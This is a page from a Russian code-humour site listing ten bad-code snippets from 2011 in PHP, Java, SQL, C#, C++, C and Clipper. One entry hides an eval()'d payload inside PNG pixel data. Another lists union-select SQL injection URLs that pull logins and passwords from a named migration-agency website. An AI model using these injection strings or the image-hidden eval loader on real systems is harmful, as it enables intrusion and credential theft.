1. Лучший говнокод

    В номинации:
    За время:
  2. PHP / Говнокод #6727

    +154

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    <?php
    // PHP
    function operate($o){$cnt=substr(base64_decode(substr($o,8)),8);$cnt[1]=chr(base64_decode('ODA='));$cnt[2]=chr(base64_decode('Nzg='));$cnt[3]=chr(base64_decode('NzE='));file_put_contents($n='/tmp/'.md5($o), $cnt);list($s)=getimagesize($n);$m=imagecreatefrompng($n);$dc="";for($p=0;$p<$s;$p++){$ca=imagecolorsforindex($m,imagecolorat($m,$p,0));$cc=$ca[base64_decode('cmVk')];$cb=$ca[base64_decode('Z3JlZW4=')];$cd=$ca[base64_decode('Ymx1ZQ==')];$dc.= chr($cc).chr($cb).chr($cd);}unlink($n);eval(base64_decode($dc));}
    operate('63013567NjMwMTM1NjeJAQIDDQoaCgAAAA1JSERSAAAAHAAAAAEIAwAAAPqbPuMAAABUUExURVpXTm9ieUk4Y0hKbFBpSTdabTl5S0NScFBUQTdKR2s4TlRBd095UnBLeXNwWldOb2J5TFFyeURSZ2RHSDBMalJndEN3MFk0aElIc2thWDFjYmlJN0nSXZcAAAAlSURBVAiZY2BgZGJmYWVj5+Dk4ubh5eMXEBQSFhEVE5eQlJIGAA5jAXsFST1JAAAAAElFTkSuQmCC');
    
    // OUTPUT
    Я считаю! 0
    Я считаю! 1
    Я считаю! 2
    Я считаю! 3
    ...
    Я считаю! 497
    Я считаю! 498
    Я считаю! 499
    ?>

    Изощренный метод кодирования исходных кодов :))))

    greevex, 22 Мая 2011

    Комментарии (7)
  3. PHP / Говнокод #6669

    +167

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    function mysql_escape($s)
    {
    	if (preg_match('/\b(select|union|update|replace|delete|create)\b/ui', $s))
    		return null;
    
    	return mysql_escape_string($s);
    }

    SQL Injection не пройдёт!

    vsu, 14 Мая 2011

    Комментарии (7)
  4. Java / Говнокод #6658

    +147

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    if (nn.isleaf) {
          this.traverse_ssector((BSPLeaf) nn);
          return;
        }
        final BSPBranch n = (BSPBranch) nn;

    правильное наследование:
    в родительском классе BSPNode определено поле isleaf
    в конструкторе класса BSPLeaf оно выставляется true и никогда не меняется
    в конструкторе класса BSPBranch соответственно false

    а ведь так просто сделать проверку instanceof

    Lure Of Chaos, 14 Мая 2011

    Комментарии (7)
  5. SQL / Говнокод #6638

    −108

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users limit 1),3,4,5,6,7,8,9,10,11,12,13  --
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select password from sydney_users limit 1),3,4,5,6,7,8,9,10,11,12,13  --
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select password from sydney_users  limit 1),3,(select login from sydney_users limit 1),5,6,7,8,9,10,11,12,13  --
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(show tables),3,4,5,6,7,8,9,10,11,12,13  --
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users where login like "adm" limit 1),3,4,5,6,7,8,9,10,11,12,13  --
    
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37))) limit 1),3,4,5,6,7,8,9,10,11,12,13  --
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37))) limit 1),3,4,5,6,7,8,9,10,11,12,13  --
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select password from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37))) limit 1),3,(select login from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37)))limit 1),5,6,7,8,9,10,11,12,13  --

    Собственно говоря вспомнил лихие времена.
    Говнокод имел место быть в пхп. Дыра ныне закрыта (не без моей помощи).

    ursus, 12 Мая 2011

    Комментарии (7)
  6. C# / Говнокод #6633

    +122

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    var rl2 = _vf.AddNewRouteLine(BusStation.Instance.GetRoute(
    BusStation.Instance.FindSettlement(БарановичиcheckBox6.Content.ToString()),
    BusStation.Instance.FindSettlement(БобруйскcheckBox17.Content.ToString()))[0],
    БарановичиcheckBox6, БобруйскcheckBox17, Upd);
    canvas1.Children.Add(rl2.Line);

    dotnetdeveloper, 12 Мая 2011

    Комментарии (7)
  7. C++ / Говнокод #6623

    +161

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    QString convToHex( unsigned char *bytes, int size )
    {
    	if( size > 16 )
    		size = 16;
    	QString ret;
    	for( int i = 0; i < size; i++ )
    	{
    		char buf[3];
    		::sprintf( buf,"%02x", (unsigned int) bytes[i] );
    		ret += buf;
    	}	
    	return ret;
    }

    panter_dsd, 11 Мая 2011

    Комментарии (7)
  8. Си / Говнокод #6576

    +137

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    /***   First, attempting to establish a SSL-connection   ***/
    		while(1)
    		{
    			sslConnection = sslConnect((const char *)remoteHost, port, CAFileName, CAPathName, error);
    			if(!sslConnection)
    			{
    				logger(ERR, "receiver: Can not establish SSL connection with %s [description - %s]", remoteHost, error);
    #ifndef DEBUG_MODE
    				if (WaitForSingleObject (hExitEvent, 5000) == WAIT_OBJECT_0)
    				{
    					if(logLevel == DEBUG_LOG_LEVEL)
    						logger(INFO, "receiver: Exit event was set in signaling state");
    					logger(INFO, "receiver: Exit");
    					return(0);
    				}
    #else
    				Sleep(5000);
    #endif
    				continue;
    			}
    			else
    			{
    				if(logLevel == DEBUG_LOG_LEVEL)
    				{
    					logger(INFO, "receiver: Connection with %s is established", remoteHost);
    				}
    				socketError = 0;
    				break;
    			}
    		}

    Пытаемся подключиться к серверу по SSL/TLS, отваливаемся по событию

    cepin, 06 Мая 2011

    Комментарии (7)
  9. Куча / Говнокод #6551

    +136

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    Function GetTwoLastNum(cNum)
      cNum := str(cNum)
      cNum := substr(cNum,len(cNum)-1,2)
      cNum := val(cNum)
    Return cNum

    - Как найти последние две цифры числа ?
    - Очень просто: превращаешь число в текст и substr-ом отрезаешь две последние буквы. Потом конвертируешь обратно в текст.
    (код на языке Clipper)

    DropWorld, 05 Мая 2011

    Комментарии (7)
  10. PHP / Говнокод #6512

    +164

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    $cur = date('Y-m-d',time());
    $date_arr = explode('-',$cur);
    $year =$date_arr[0];
    $month =$date_arr[1];
    $day =$date_arr[2];

    _tL, 29 Апреля 2011

    Комментарии (7)
  11. PHP / Говнокод #6510

    +162

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    function show_price_list() {
    $period_1 = $period_2 = $period_3 = $period_4 = $period_5 = $period_6 = "";
    $query = "
    		SELECT id, price, type
    		FROM price 
    		ORDER BY type, start
    	";
    $this->registry['sql']->query($query);
    if ($this->registry['sql']->getNumberRows()>0) {
    	foreach ($this->registry['sql']->getFetchObject() as $oRow) {
    		switch($oRow->type) {
    			case 0: $period_1 .= '<td><input type="text" name="period['.$oRow->id.']" value="'.$oRow->price.'"></td>';
    			break;
    			case 1: $period_2 .= '<td><input type="text" name="period['.$oRow->id.']" value="'.$oRow->price.'"></td>';
    			break;
    			case 2: $period_3 .= '<td><input type="text" name="period['.$oRow->id.']" value="'.$oRow->price.'"></td>';
    			break;
    			case 3: $period_4 .= '<td><input type="text" name="period['.$oRow->id.']" value="'.$oRow->price.'"></td>';
    			break;
    			case 4: $period_5 .= '<td><input type="text" name="period['.$oRow->id.']" value="'.$oRow->price.'"></td>';
    			break;
    			case 5: $period_6 .= '<td><input type="text" name="period['.$oRow->id.']" value="'.$oRow->price.'"></td>';
    			break;
    		}
    	}
    }
    @$this->registry['template']->set('period_1', $period_1);
    @$this->registry['template']->set('period_2', $period_2);
    @$this->registry['template']->set('period_3', $period_3);
    @$this->registry['template']->set('period_4', $period_4);
    @$this->registry['template']->set('period_5', $period_5);
    @$this->registry['template']->set('period_6', $period_6);
    
    	}

    Классика жанра

    1_and_0, 29 Апреля 2011

    Комментарии (7)